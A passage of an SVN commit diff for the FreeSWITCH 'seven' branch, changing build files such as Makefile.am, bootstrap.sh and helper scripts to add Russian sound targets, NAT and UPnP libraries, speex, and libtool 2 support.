 		{D5D2BF72-29FE-4982-A9FA-82AB1086DB1B} = {C120A020-773F-4EA3-923F-B67AF28B750D}
 		{E796E337-DE78-4303-8614-9A590862EE95} = {C120A020-773F-4EA3-923F-B67AF28B750D}
+		{1F0A8A77-E661-418F-BB92-82172AE43803} = {C120A020-773F-4EA3-923F-B67AF28B750D}
+		{4F5C9D55-98EF-4256-8311-32D7BD360406} = {C120A020-773F-4EA3-923F-B67AF28B750D}
+		{E10571C4-E7F4-4608-B5F2-B22E7EB95400} = {C120A020-773F-4EA3-923F-B67AF28B750D}
 		{988CACF7-3FCB-4992-BE69-77872AE67DC8} = {6CD61A1D-797C-470A-BE08-8C31B68BB336}
 		{5BC072DB-3826-48EA-AF34-FE32AA01E83B} = {6CD61A1D-797C-470A-BE08-8C31B68BB336}
 		{FA429E98-8B03-45E6-A096-A4BC5E821DE4} = {6CD61A1D-797C-470A-BE08-8C31B68BB336}
@@ -1769,6 +2641,7 @@
 		{6D1BEC70-4DCD-4FE9-ADBD-4A43A67E4D05} = {6CD61A1D-797C-470A-BE08-8C31B68BB336}
 		{A4B122CF-5196-476B-8C0E-D8BD59AC3C14} = {6CD61A1D-797C-470A-BE08-8C31B68BB336}
 		{B6A9FB7A-1CC4-442B-812D-EC33E4E4A36E} = {6CD61A1D-797C-470A-BE08-8C31B68BB336}
+		{0382E8FD-CFDC-41C0-8B03-792C7C84FC31} = {6CD61A1D-797C-470A-BE08-8C31B68BB336}
 		{3B08FEFD-4D3D-4C16-BA94-EE83509E32A0} = {57D119DC-484F-420F-B9E9-8589FD9A8DF8}
 		{7BFD517E-7F8F-4A40-A78E-8D3632738227} = {57D119DC-484F-420F-B9E9-8589FD9A8DF8}
 		{6374D55C-FABE-4A02-9CF1-4145308A56C5} = {57D119DC-484F-420F-B9E9-8589FD9A8DF8}
@@ -1818,5 +2691,8 @@
 		{7A8D8174-B355-4114-AFC1-04777CB9DE0A} = {4F227C26-768F-46A3-8684-1D08A46FB374}
 		{7EB71250-F002-4ED8-92CA-CA218114537A} = {4F227C26-768F-46A3-8684-1D08A46FB374}
 		{464AAB78-5489-4916-BE51-BF8D61822311} = {4F227C26-768F-46A3-8684-1D08A46FB374}
+		{D1ABE208-6442-4FB4-9AAD-1677E41BC870} = {4F227C26-768F-46A3-8684-1D08A46FB374}
+		{BA599D0A-4310-4505-91DA-6A6447B3E289} = {4F227C26-768F-46A3-8684-1D08A46FB374}
+		{EED13FC7-4F81-4E6F-93DB-CDB7DF5CF959} = {4F227C26-768F-46A3-8684-1D08A46FB374}
 	EndGlobalSection
 EndGlobal

Modified: freeswitch/branches/seven/Makefile.am (14471 => 14472)


--- freeswitch/branches/seven/Makefile.am	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/Makefile.am	2009-08-09 18:53:22 UTC (rev 14472)
@@ -17,9 +17,11 @@
 	 target_prefix=`echo $@ | sed -e 's|-.*$$||'`; \
 	 sound_perfix=`echo $@ | sed -e 's|-.*||'`; \
 	 sounds_version=`cat build/sounds_version.txt`;\
+	 moh_version=`cat build/moh_version.txt`;\
 	 full_sound_dir=`echo $@ | sed -e 's|^sounds||' | sed -e 's|^-||' | sed -e 's|-install$$||'`; \
 	 test ! -z $$full_sound_dir || full_sound_dir=`echo $(DEFAULT_SOUNDS)`; \
-	 soundfile=`echo freeswitch-sounds-$$full_sound_dir-$$sounds_version.tar.gz`; \
+	 soundfile=`echo freeswitch-sounds-$$full_sound_dir-$$moh_version.tar.gz`; \
+	 echo $$full_sound_dir | grep  music  >/dev/null || soundfile=`echo freeswitch-sounds-$$full_sound_dir-$$sounds_version.tar.gz`; \
          if test "$$target" = "install"; then $(MAKE) $(AM_MAKEFLAGS) core_install; else $(MAKE) $(AM_MAKEFLAGS) core ; fi; \
          if test "$$target_prefix" = "sounds"; then \
 	   if test "$$target" = "install"; then $(GETSOUNDS) $$soundfile $(DESTDIR)$(PREFIX)/sounds/; else $(GETSOUNDS) $$soundfile ; fi; \
@@ -29,21 +31,29 @@
 
 sounds: sounds-en-us-callie-8000
 sounds-install: sounds-en-us-callie-8000-install
+sounds-ru: sounds-ru-RU-elena-8000
+sounds-ru-install: sounds-ru-RU-elena-8000-install
 moh: sounds-music-8000
 moh-install: sounds-music-8000-install
 
 hd-sounds: sounds sounds-en-us-callie-16000
 hd-sounds-install: sounds-install sounds-en-us-callie-16000-install
+hd-sounds-ru: sounds-ru sounds-ru-RU-elena-16000
+hd-sounds-ru-install: sounds-ru-install sounds-ru-RU-elena-16000-install
 hd-moh: moh sounds-music-16000
 hd-moh-install: moh-install sounds-music-16000-install
 
 uhd-sounds: hd-sounds sounds-en-us-callie-32000
 uhd-sounds-install: hd-sounds-install sounds-en-us-callie-32000-install
+uhd-sounds-ru: hd-sounds-ru sounds-ru-RU-elena-32000
+uhd-sounds-ru-install: hd-sounds-ru-install sounds-ru-RU-elena-32000-install
 uhd-moh: hd-moh sounds-music-32000
 uhd-moh-install: hd-moh-install sounds-music-32000-install
 
 cd-sounds: uhd-sounds sounds-en-us-callie-48000
 cd-sounds-install: uhd-sounds-install sounds-en-us-callie-48000-install
+cd-sounds-ru: uhd-sounds-ru sounds-ru-RU-elena-48000
+cd-sounds-ru-install: uhd-sounds-ru-install sounds-ru-RU-elena-48000-install
 cd-moh: uhd-moh sounds-music-48000
 cd-moh-install: uhd-moh-install sounds-music-48000-install
 
@@ -89,19 +99,31 @@
 src/switch_ivr_menu.c \
 src/switch_ivr.c \
 src/switch_stun.c\
+src/switch_nat.c\
 src/switch_log.c\
 src/switch_xml.c\
+src/switch_xml_config.c\
 src/switch_config.c\
 src/switch_time.c\
+src/switch_odbc.c \
 libs/stfu/stfu.c\
 src/switch_cpp.cpp\
 src/g711.c\
 src/switch_pcm.c\
 libs/libteletone/src/libteletone_detect.c\
-libs/libteletone/src/libteletone_generate.c
+libs/libteletone/src/libteletone_generate.c\
+libs/miniupnpc/miniwget.c\
+libs/miniupnpc/minixml.c\
+libs/miniupnpc/igd_desc_parse.c\
+libs/miniupnpc/minisoap.c \
+libs/miniupnpc/miniupnpc.c\
+libs/miniupnpc/upnpreplyparse.c\
+libs/miniupnpc/upnpcommands.c\
+libs/miniupnpc/minissdpc.c \
+libs/miniupnpc/upnperrors.c \
+libs/libnatpmp/natpmp.c \
+libs/libnatpmp/getgateway.c
 
-
-
 library_includedir      = $(PREFIX)/include
 
 library_include_HEADERS = \
@@ -130,8 +152,10 @@
 src/include/switch_utils.h\
 src/include/switch_rtp.h\
 src/include/switch_stun.h\
+src/include/switch_nat.h\
 src/include/switch_log.h\
 src/include/switch_xml.h\
+src/include/switch_xml_config.h\
 src/include/switch_cpp.h\
 libs/libteletone/src/libteletone_detect.h\
 libs/libteletone/src/libteletone_generate.h\
@@ -143,32 +167,35 @@
 CORE_CFLAGS    += -I$(switch_srcdir)/libs/stfu
 CORE_CFLAGS    += -I$(switch_srcdir)/libs/sqlite
 CORE_CFLAGS    += -I$(switch_srcdir)/libs/pcre
+CORE_CFLAGS    += -I$(switch_srcdir)/libs/speex/include
 CORE_CFLAGS    += -I$(switch_srcdir)/libs/srtp/include
 CORE_CFLAGS    += -I$(switch_srcdir)/libs/srtp/crypto/include
-CORE_CFLAGS    += $(RESAMPLE_CFLAGS)
 
 CORE_LIBS      = libs/apr-util/libaprutil-1.la libs/apr/libapr-1.la
-CORE_LIBS     += libs/sqlite/libsqlite3.la libs/pcre/libpcre.la
-CORE_LIBS     += libs/srtp/libsrtp.la $(RESAMPLE_LIB)
+CORE_LIBS     += libs/sqlite/libsqlite3.la libs/pcre/libpcre.la libs/speex/libspeex/libspeexdsp.la
+CORE_LIBS     += libs/srtp/libsrtp.la
 
 lib_LTLIBRARIES	          = libfreeswitch.la
 libfreeswitch_la_CFLAGS   = $(CORE_CFLAGS) $(AM_CFLAGS)
 libfreeswitch_la_LDFLAGS  = -version-info 1:0:0 $(AM_LDFLAGS) $(PLATFORM_CORE_DEPLIBS)
 libfreeswitch_la_LIBADD  = $(CORE_LIBS)
 libfreeswitch_la_DEPENDENCIES = $(BUILT_SOURCES)
-nodist_libfreeswitch_la_SOURCES = src/include/switch_version.h src/include/switch_swigable_cpp.h
+nodist_libfreeswitch_la_SOURCES = src/include/switch_version.h src/include/switch_swigable_cpp.h src/include/switch_frame.h
 
 MOD_LINK       = $(BASE)/libfreeswitch.la
 
 CLEANFILES     = src/include/switch_version.h src/include/switch_swigable_cpp.h
 BUILT_SOURCES  = src/include/switch_version.h src/include/switch_swigable_cpp.h
 
-bin_PROGRAMS = freeswitch fs_cli
+bin_PROGRAMS = freeswitch fs_cli fs_ivrd
+fs_ivrd_SOURCES = libs/esl/src/esl.c libs/esl/src/esl_config.c libs/esl/src/esl_event.c libs/esl/src/esl_threadmutex.c libs/esl/ivrd.c
 fs_cli_SOURCES = libs/esl/src/esl.c libs/esl/src/esl_config.c libs/esl/src/esl_event.c libs/esl/src/esl_threadmutex.c libs/esl/fs_cli.c
 freeswitch_SOURCES = src/switch.c
 nodist_freeswitch_SOURCES = src/include/switch_version.h
 fs_cli_CFLAGS = $(AM_CFLAGS) -Ilibs/esl/src/include 
 fs_cli_LDFLAGS = $(AM_LDFLAGS) -lpthread $(ESL_LDFLAGS)
+fs_ivrd_CFLAGS = $(AM_CFLAGS) -Ilibs/esl/src/include 
+fs_ivrd_LDFLAGS = $(AM_LDFLAGS) -lpthread $(ESL_LDFLAGS)
 freeswitch_CFLAGS = $(AM_CFLAGS) $(CORE_CFLAGS)
 freeswitch_LDFLAGS = $(AM_LDFLAGS) -rpath $(libdir)
 freeswitch_LDADD = libfreeswitch.la libs/apr/libapr-1.la
@@ -179,52 +206,57 @@
 freeswitch_LDADD      += libs/libedit/src/.libs/libedit.a
 endif
 
-
 if ADD_LIBEDIT
 CORE_CFLAGS    += -Ilibs/libedit/src -DSWITCH_HAVE_LIBEDIT
 CORE_LIBS      += libs/libedit/src/.libs/libedit.a
 endif
 
 if ADD_ODBC
-CORE_CFLAGS    += -DSWITCH_HAVE_ODBC
-libfreeswitch_la_SOURCES += src/switch_odbc.c
-libfreeswitch_la_LDFLAGS     += -Wl,-lodbc
+CORE_CFLAGS    += -DSWITCH_HAVE_ODBC $(ODBC_INC_FLAGS)
+libfreeswitch_la_LDFLAGS     += $(ODBC_LIB_FLAGS)
 endif
 
+if ENABLE_ZRTP
+libfreeswitch_la_LDFLAGS  += -lzrtp -lbn
+endif
+
 bin_SCRIPTS = scripts/gentls_cert scripts/fsxs
 
 src/include/switch_swigable_cpp.h: src/include/switch_cpp.h
-	$(CC) -E src/include/switch_cpp.h -DSWITCH_DECLARE\(x\)=x -DSWITCH_DECLARE_CONSTRUCTOR= -DSWITCH_DECLARE_NONSTD\(x\)=x 2>/dev/null | grep -v "^#" > src/include/switch_swigable_cpp.h 
+	$(CC) -E src/include/switch_cpp.h -DSWITCH_DECLARE_CLASS= -DSWITCH_DECLARE\(x\)=x -DSWITCH_DECLARE_CONSTRUCTOR= -DSWITCH_DECLARE_NONSTD\(x\)=x 2>/dev/null | grep -v "^#" > src/include/switch_swigable_cpp.h 
 
 libs/libedit/src/.libs/libedit.a:
 	cd libs/libedit && $(MAKE)
 
-$(libfreeswitch_la_SOURCES): $(CORE_LIBS) $(switch_builddir)/quiet_libtool modules.conf
+$(libfreeswitch_la_SOURCES): $(CORE_LIBS) $(switch_builddir)/quiet_libtool modules.conf 
 
 $(switch_builddir)/quiet_libtool: $(switch_builddir)/libtool
 	@cat libtool | sed -e 's|$$show "$$command"|if test -z "$$suppress_output" ; then $$show "Compiling $$srcfile ..." ; fi|' > quiet_libtool
 
 
 yaml-files:
-	@echo `mkdir $(DESTDIR)$(prefix)/conf/yaml 2>/dev/null`
-	$(INSTALL) -m 644 conf/yaml/*.yaml $(DESTDIR)$(prefix)/conf/yaml
+	@echo `mkdir $(DESTDIR)@confdir@/yaml 2>/dev/null`
+	$(INSTALL) -m 644 conf/yaml/*.yaml $(DESTDIR)@confdir@/yaml
 
 vm-sync:
-	test -d $(DESTDIR)$(prefix)/conf || $(mkinstalldirs) $(DESTDIR)$(prefix)/conf
-	test -d $(DESTDIR)$(prefix)/conf/lang || $(mkinstalldirs) $(DESTDIR)$(prefix)/conf/lang
-	test -d $(DESTDIR)$(prefix)/conf/lang/en || $(mkinstalldirs) $(DESTDIR)$(prefix)/conf/lang/en
-	test -d $(DESTDIR)$(prefix)/conf/lang/en/vm || $(mkinstalldirs) $(DESTDIR)$(prefix)/conf/lang/en/vm
-	$(INSTALL) -m 644 conf/lang/en/vm/* $(DESTDIR)$(prefix)/conf/lang/en/vm
+	test -d $(DESTDIR)@confdir@ || $(mkinstalldirs) $(DESTDIR)@confdir@
+	test -d $(DESTDIR)@confdir@/lang || $(mkinstalldirs) $(DESTDIR)@confdir@/lang
+	test -d $(DESTDIR)@confdir@/lang/en || $(mkinstalldirs) $(DESTDIR)@confdir@/lang/en
+	test -d $(DESTDIR)@confdir@/lang/en/demo || $(mkinstalldirs) $(DESTDIR)@confdir@/lang/en/demo
+	test -d $(DESTDIR)@confdir@/lang/en/vm || $(mkinstalldirs) $(DESTDIR)@confdir@/lang/en/vm
+	$(INSTALL) -m 644 conf/lang/en/vm/* $(DESTDIR)@confdir@/lang/en/vm
+	$(INSTALL) -m 644 conf/lang/en/demo/* $(DESTDIR)@confdir@/lang/en/demo
 
 samples-conf:
-	test -d $(DESTDIR)$(prefix)/conf || $(mkinstalldirs) $(DESTDIR)$(prefix)/conf
+	test -d $(DESTDIR)@confdir@/ || $(mkinstalldirs) $(DESTDIR)@confdir@
 	for conffile in `find conf -name \*.xml && find conf -name \*.conf && find conf -name \*.tpl  && find conf -name \*.ttml && find conf -name mime.types` ; do \
-		dir=`echo $$conffile | sed -e 's|/[^/]*$$||'`; \
+		src_dir=`echo $$conffile | sed -e 's|/[^/]*$$||'`; \
+		dir=`echo $$src_dir | sed -e 's|conf||'`; \
 		filename=`echo $$conffile | sed -e 's|^.*/||'`; \
-		test -d $(DESTDIR)$(PREFIX)/$$dir || $(mkinstalldirs) $(DESTDIR)$(prefix)/$$dir ; \
-		test -f $(DESTDIR)$(PREFIX)/$$dir/$$filename || \
-		test -f $(DESTDIR)$(PREFIX)/$$dir/$$filename.noload || \
-			$(INSTALL) -m 644 $$dir/$$filename $(DESTDIR)$(PREFIX)/$$dir; \
+		test -d $(DESTDIR)@confdir@/$$dir || $(mkinstalldirs) $(DESTDIR)@confdir@/$$dir ; \
+		test -f $(DESTDIR)@confdir@/$$dir/$$filename || \
+		test -f $(DESTDIR)@confdir@/$$dir/$$filename.noload || \
+			$(INSTALL) -m 644 $$src_dir/$$filename $(DESTDIR)@confdir@/$$dir; \
 	done
 
 samples-htdocs: 
@@ -244,7 +276,7 @@
 		$(mkinstalldirs) $(DESTDIR)$(prefix)/$$x ; \
 	 done
 	$(mkinstalldirs) $(DESTDIR)@modinstdir@
-	test -d $(DESTDIR)$(prefix)/conf || $(MAKE) samples-conf
+	test -d $(DESTDIR)@confdir@ || $(MAKE) samples-conf
 	test -d $(DESTDIR)$(prefix)/htdocs || $(MAKE) samples-htdocs
 
 .version:
@@ -292,6 +324,10 @@
 	@cd libs/apr-util && $(MAKE)
 	@$(TOUCH_TARGET)
 
+libs/speex/libspeex/libspeexdsp.la: libs/speex/.update
+	@cd libs/speex && $(MAKE)
+	@$(TOUCH_TARGET)
+
 libs/sqlite/libsqlite3.la: libs/sqlite libs/sqlite/.update
 	@cd libs/sqlite && $(MAKE) CFLAGS="$(SWITCH_AM_CFLAGS)"
 	@$(TOUCH_TARGET)
@@ -304,12 +340,6 @@
 	@cd libs/srtp && $(MAKE)
 	@$(TOUCH_TARGET)
 
-if USE_INTREE_RESAMPLE
-libs/libresample/libresample.la: libs/libresample libs/libresample/.update
-	@cd libs/libresample && $(MAKE)
-	@$(TOUCH_TARGET)
-endif
-
 core:
 	$(MAKE) $(AM_MAKEFLAGS) libfreeswitch.la
 
@@ -320,7 +350,7 @@
 core-install: core_install
 
 clean_core: clean-libLTLIBRARIES
-
+	rm -f $(libfreeswitch_la_OBJECTS)
 install_core: install-libLTLIBRARIES
 
 core_install: install_core
@@ -349,6 +379,8 @@
 	cd libs/sofia-sip && $(MAKE) clean
 	cd libs/openzap && $(MAKE) clean
 	cd libs/portaudio && $(MAKE) clean
+	cd libs/speex && $(MAKE) clean
+	cd libs/esl && $(MAKE) clean
 
 swigall:
 	@echo reswigging all
@@ -361,6 +393,11 @@
 	cd libs/sofia-sip && $(MAKE) -j
 	$(MAKE) -j modules
 
+speex-reconf:
+	cd libs/speex && autoreconf
+	cd libs/speex && ./config.status --recheck
+	cd libs/speex && ./config.status
+
 python-reconf:
 	rm -f src/mod/languages/mod_python/Makefile
 	./config.status
@@ -376,6 +413,12 @@
 	cd libs/openzap && sh ./configure.gnu --prefix=$(PREFIX)
 	$(MAKE) mod_openzap-clean
 
+iks-reconf:
+	cd libs/iksemel && $(MAKE) clean
+	cd libs/iksemel && autoreconf -fi
+	cd libs/iksemel && sh ./configure.gnu --prefix=$(PREFIX)
+	$(MAKE) mod_dingaling-clean
+
 sofia-reconf:
 	cd libs/sofia-sip && sh ./autogen.sh
 	cd libs/sofia-sip && $(MAKE) clean
@@ -423,7 +466,7 @@
 	    -e "s,@LIB_DIR\@,@libdir@," \
 	    -e "s,@BIN_DIR\@,@bindir@," \
 	    -e "s,@INC_DIR\@,@includedir@," \
-	    -e "s,@CFG_DIR\@,$(PREFIX)/conf," \
+	    -e "s,@CFG_DIR\@,@confdir@," \
 	    -e "s,@DB_DIR\@,$(PREFIX)/db," \
 	    -e "s,@PREFIX\@,$(PREFIX)," \
 	    -e "s,@CC\@,$(CC)," \

Modified: freeswitch/branches/seven/acinclude.m4 (14471 => 14472)


--- freeswitch/branches/seven/acinclude.m4	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/acinclude.m4	2009-08-09 18:53:22 UTC (rev 14472)
@@ -6,5 +6,9 @@
 m4_include([build/config/ac_gcc_x86_cpuid.m4])
 m4_include([build/config/ax_lib_mysql.m4])
 m4_include([build/config/ax_check_java.m4])
+m4_include([build/config/erlang.m4])
+m4_include([build/config/odbc.m4])
 m4_include([libs/apr/build/apr_common.m4])
+m4_include([libs/sofia-sip/m4/sac-pkg-config.m4])
+m4_include([libs/sofia-sip/m4/sac-openssl.m4])
 m4_include([build/config/libcurl.m4])

Modified: freeswitch/branches/seven/bootstrap.sh (14471 => 14472)


--- freeswitch/branches/seven/bootstrap.sh	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/bootstrap.sh	2009-08-09 18:53:22 UTC (rev 14472)
@@ -3,9 +3,9 @@
 
 BASEDIR=`pwd`;
 LIBDIR=${BASEDIR}/libs;
-SUBDIRS="codec/ilbc curl iksemel voipcodecs \
-        js js/nsprpub libdingaling libedit libresample libsndfile pcre sofia-sip \
-        speex sqlite srtp openzap spandsp";
+SUBDIRS="ilbc curl iksemel voipcodecs \
+        js js/nsprpub libdingaling libedit libsndfile pcre sofia-sip \
+        speex sqlite srtp openzap spandsp libg722_1 portaudio unimrcp";
 
 
 if [ ! -f modules.conf ]; then 
@@ -87,14 +87,12 @@
 # output is multiline from 1.5 onwards
 
 # Require libtool 1.4 or newer
-libtool=`${LIBDIR}/apr/build/PrintPath glibtool libtool libtool15 libtool14`
+libtool=${LIBTOOL:-`${LIBDIR}/apr/build/PrintPath glibtool libtool libtool22 libtool15 libtool14`}
 lt_pversion=`$libtool --version 2>/dev/null|sed -e 's/([^)]*)//g;s/^[^0-9]*//;s/[- ].*//g;q'`
 if test -z "$lt_pversion"; then
-echo "bootstrap: libtool not found."
-echo "           You need libtool version 1.5.14 or newer (up to 1.9.x) installed. 2.x will not work! see http://jira.freeswitch.org/browse/FSBUILD-82"
-echo "           libtool version 2.0 and above WILL NOT work."
-echo "           to build FreeSWITCH from SVN."
-exit 1
+   echo "bootstrap: libtool not found."
+   echo "           You need libtool version 1.5.14 or newer to build FreeSWITCH from SVN."
+   exit 1
 fi
 lt_version=`echo $lt_pversion|sed -e 's/\([a-z]*\)$/.\1/'`
 IFS=.; set $lt_version; IFS=' '
@@ -103,8 +101,11 @@
 if test -z "$1"; then a=0 ; else a=$1;fi
 if test -z "$2"; then b=0 ; else b=$2;fi
 if test -z "$3"; then c=0 ; else c=$3;fi
+lt_major=$a
 
-if test "$a" -lt "2"; then
+if test "$a" -eq "2"; then
+   lt_status="good"
+elif test "$a" -lt "2"; then
    if test "$b" -lt "5" -o "$b" =  "5" -a "$c" -lt "14" ; then
       lt_status="bad"
    fi
@@ -114,13 +115,48 @@
 if test $lt_status = "good"; then
    echo "bootstrap: libtool version $lt_pversion (ok)"
 else
-echo "bootstrap: libtool version $lt_pversion found."
-echo "           You need libtool version 1.5.14 or newer (up to 1.9.x) installed. 2.x will not work! see http://jira.freeswitch.org/browse/FSBUILD-82"
-echo "           to build FreeSWITCH from SVN."
+   echo "bootstrap: libtool version $lt_pversion found."
+   echo "           You need libtool version 1.5.14 or newer to build FreeSWITCH from SVN."
+   exit 1
+fi
 
-exit 1
+# check libtoolize availability
+if [ -n "${LIBTOOL}" ]; then
+    libtoolize=${LIBTOOLIZE:-`dirname "${libtool}"`/libtoolize}
+else
+    libtoolize=${LIBTOOLIZE:-`${LIBDIR}/apr/build/PrintPath glibtoolize libtoolize15 libtoolize14 libtoolize`}
 fi
+if [ "x$libtoolize" = "x" ]; then
+    echo "libtoolize not found in path"
+    exit 1
+fi
+if [ ! -x "$libtoolize" ]; then
+    echo "$libtoolize does not exist or ist not executable"
+    exit 1
+fi
 
+# compare libtool and libtoolize version
+ltl_pversion=`$libtoolize --version 2>/dev/null|sed -e 's/([^)]*)//g;s/^[^0-9]*//;s/[- ].*//g;q'`
+ltl_version=`echo $ltl_pversion|sed -e 's/\([a-z]*\)$/.\1/'`
+IFS=.; set $ltl_version; IFS=' '
+
+if [ "x${lt_version}" != "x${ltl_version}" ]; then
+    echo "$libtool and $libtoolize have different versions"
+    exit 1
+fi
+
+
+#
+# Info output
+#
+echo "Bootstrapping using:"
+echo "  autoconf  : ${AUTOCONF:-`which autoconf`}"
+echo "  automake  : ${AUTOMAKE:-`which automake`}"
+echo "  aclocal   : ${ACLOCAL:-`which aclocal`}"
+echo "  libtool   : ${libtool} (${lt_version})"
+echo "  libtoolize: ${libtoolize}"
+echo
+
 echo "Entering directory ${LIBDIR}/apr"
 cd ${LIBDIR}/apr
 
@@ -144,13 +180,6 @@
 # bootstrap: Build the support scripts needed to compile from a
 #            checked-out version of the source code.
 
-
-libtoolize=`build/PrintPath glibtoolize libtoolize15 libtoolize14 libtoolize`
-if [ "x$libtoolize" = "x" ]; then
-    echo "libtoolize not found in path"
-    exit 1
-fi
-
 # Create the libtool helper files
 #
 # Note: we copy (rather than link) them to simplify distribution.
@@ -163,21 +192,30 @@
 # and libtool 1.4 by simply rerunning the bootstrap script.
 (cd build ; rm -f ltconfig ltmain.sh libtool.m4)
 
-$libtoolize --copy --automake
+if ${libtoolize} -n --install >/dev/null 2>&1 ; then
+  $libtoolize --force --copy --install
+else
+  $libtoolize --force --copy
+fi
 
 if [ -f libtool.m4 ]; then 
    ltfile=`pwd`/libtool.m4
 else
-   ltfindcmd="`sed -n \"/=[^\\\`]/p;/libtool_m4=/{s/.*=/echo /p;q;}\" \
-                   < $libtoolize`"
-   ltfile=${LIBTOOL_M4-`eval "$ltfindcmd"`}
+   if [ $lt_major -eq 2 ]; then
+       ltfindcmd="`sed -n \"/aclocaldir=/{s/.*=/echo /p;q;}\" < $libtoolize`"
+       ltfile=${LIBTOOL_M4-`eval "$ltfindcmd"`/libtool.m4}
+   else
+       ltfindcmd="`sed -n \"/=[^\\\`]/p;/libtool_m4=/{s/.*=/echo /p;q;}\" \
+                     < $libtoolize`"
+       ltfile=${LIBTOOL_M4-`eval "$ltfindcmd"`}
+   fi
    # Expecting the code above to be very portable, but just in case...
    if [ -z "$ltfile" -o ! -f "$ltfile" ]; then
      ltpath=`dirname $libtoolize`
      ltfile=`cd $ltpath/../share/aclocal ; pwd`/libtool.m4
    fi
 fi
-  
+
 if [ ! -f $ltfile ]; then
     echo "$ltfile not found"
     exit 1
@@ -196,19 +234,6 @@
 # Clean up any leftovers
 rm -f aclocal.m4 libtool.m4
 
-#
-# Generate the autoconf header and ./configure
-#
-echo "Creating include/arch/unix/apr_private.h.in ..."
-${AUTOHEADER:-autoheader}
-
-echo "Creating configure ..."
-### do some work to toss config.cache?
-${AUTOCONF:-autoconf}
-
-# Remove autoconf 2.5x's cache directory
-rm -rf autom4te*.cache
-
 # fix for FreeBSD (at least):
 # libtool.m4 is in share/aclocal, while e.g. aclocal19 only looks in share/aclocal19
 # get aclocal's default directory and include the libtool.m4 directory via -I if
@@ -220,6 +245,24 @@
   ACLOCAL_OPTS="-I `dirname ${ltfile}`"
 fi
 
+### run aclocal
+echo "Re-creating aclocal.m4 ..."
+${ACLOCAL:-aclocal} ${ACLOCAL_OPTS}
+
+### do some work to toss config.cache?
+echo "Creating configure ..."
+${AUTOCONF:-autoconf}
+
+#
+# Generate the autoconf header
+#
+echo "Creating include/arch/unix/apr_private.h.in ..."
+${AUTOHEADER:-autoheader}
+
+
+# Remove autoconf 2.5x's cache directory
+rm -rf autom4te*.cache
+
 echo "Entering directory ${LIBDIR}/apr-util"
 cd ${LIBDIR}/apr-util
 ./buildconf
@@ -243,6 +286,7 @@
       LTTEST=`grep "AC_PROG_LIBTOOL" ${CFFILE}`
       LTTEST2=`grep "AM_PROG_LIBTOOL" ${CFFILE}`
       AMTEST=`grep "AM_INIT_AUTOMAKE" ${CFFILE}`
+      AMTEST2=`grep "AC_PROG_INSTALL" ${CFFILE}`
       AHTEST=`grep "AC_CONFIG_HEADERS" ${CFFILE}`
 
       echo "Creating aclocal.m4"
@@ -251,7 +295,11 @@
 #only run if AC_PROG_LIBTOOL is in configure.in/configure.ac
       if [ ! -z "${LTTEST}" -o "${LTTEST2}" ] ; then
           echo "Running libtoolize..."
-          $libtoolize --force --copy ;
+          if ${libtoolize} -n --install >/dev/null 2>&1 ; then
+             $libtoolize --force --copy --install
+          else
+             $libtoolize --force --copy
+          fi
       fi
 
       echo "Creating configure"
@@ -263,12 +311,10 @@
           ${AUTOHEADER:-autoheader} ;
       fi
 
-#only run if AM_INIT_AUTOMAKE is in configure.in/configure.ac
-      if [ ! -z "${AMTEST}" ] ; then
-          if [ -f ${LIBDIR}/${i}/Makefile.am ] ; then
-              echo "Creating Makefile.in"
-              ${AUTOMAKE:-automake} --no-force --add-missing --copy ;
-          fi
+#run if AM_INIT_AUTOMAKE / AC_PROG_INSTALL is in configure.in/configure.ac
+      if [ ! -z "${AMTEST}" -o "${AMTEST2}" ] ; then
+          echo "Creating Makefile.in"
+          ${AUTOMAKE:-automake} --no-force --add-missing --copy ;
       fi
       rm -rf autom4te*.cache
   fi

Modified: freeswitch/branches/seven/build/Makefile (14471 => 14472)


--- freeswitch/branches/seven/build/Makefile	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/build/Makefile	2009-08-09 18:53:22 UTC (rev 14472)
@@ -26,6 +26,15 @@
 	@echo " +               $(MAKE) sounds-install             +"  
 	@echo " +               $(MAKE) moh-install                +"  
 	@echo " +                                               +"
+	@echo " +       Install non english sounds:             +"
+	@echo " +       replace XX with language                +"
+	@echo " +       (ru : Russian)                          +"
+	@echo " +       ------------------------------------    +"
+	@echo " +               $(MAKE) cd-sounds-XX-install       +"  
+	@echo " +               $(MAKE) uhd-sounds-XX-install      +"  
+	@echo " +               $(MAKE) hd-sounds-XX-install       +"  
+	@echo " +               $(MAKE) sounds-XX-install          +"  
+	@echo " +                                               +"
 	@echo " +       Upgrade to latest:                      +"
 	@echo " +       ----------------------------------      +"
 	@echo " +               $(MAKE) current                    +"  

Modified: freeswitch/branches/seven/build/buildlib.sh (14471 => 14472)


--- freeswitch/branches/seven/build/buildlib.sh	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/build/buildlib.sh	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,7 +22,7 @@
 fi
 
 install=
-base=http://svn.freeswitch.org/downloads/libs
+base=http://files.freeswitch.org/downloads/libs
 
 if [ ! -z "$1" ] && [ "$1" = install ] ; then
     install=1

Modified: freeswitch/branches/seven/build/buildopal.sh (14471 => 14472)


--- freeswitch/branches/seven/build/buildopal.sh	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/build/buildopal.sh	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,13 +1,20 @@
 #!/bin/sh
+uname -a | grep -qi bsd && MAKE=gmake || MAKE=make
+FS_DIR=`pwd`
+
 cd /root
 svn co https://opalvoip.svn.sourceforge.net/svnroot/opalvoip/ptlib/trunk ptlib
 cd ptlib
 ./configure --prefix=/usr
-make
-make install
+${MAKE}
+${MAKE} install
+
 cd ..
-svn co https://opalvoip.svn.sourceforge.net/svnroot/opalvoip/opal/trunk opal
+svn co https://opalvoip.svn.sourceforge.net/svnroot/opalvoip/opal/branches/v3_6 opal 
 cd opal
-PKG_CONFIG_PATH=/usr/lib/pkgconfig ./configure --prefix=/usr
-make
-make install
+export PKG_CONFIG_PATH=/usr/lib/pkgconfig 
+./configure --prefix=/usr
+${MAKE}
+${MAKE} install
+cd ${FS_DIR}
+${MAKE} mod_opal-install

Copied: freeswitch/branches/seven/build/buildzrtp.sh (from rev 14471, freeswitch/trunk/build/buildzrtp.sh) (0 => 14472)


--- freeswitch/branches/seven/build/buildzrtp.sh	                        (rev 0)
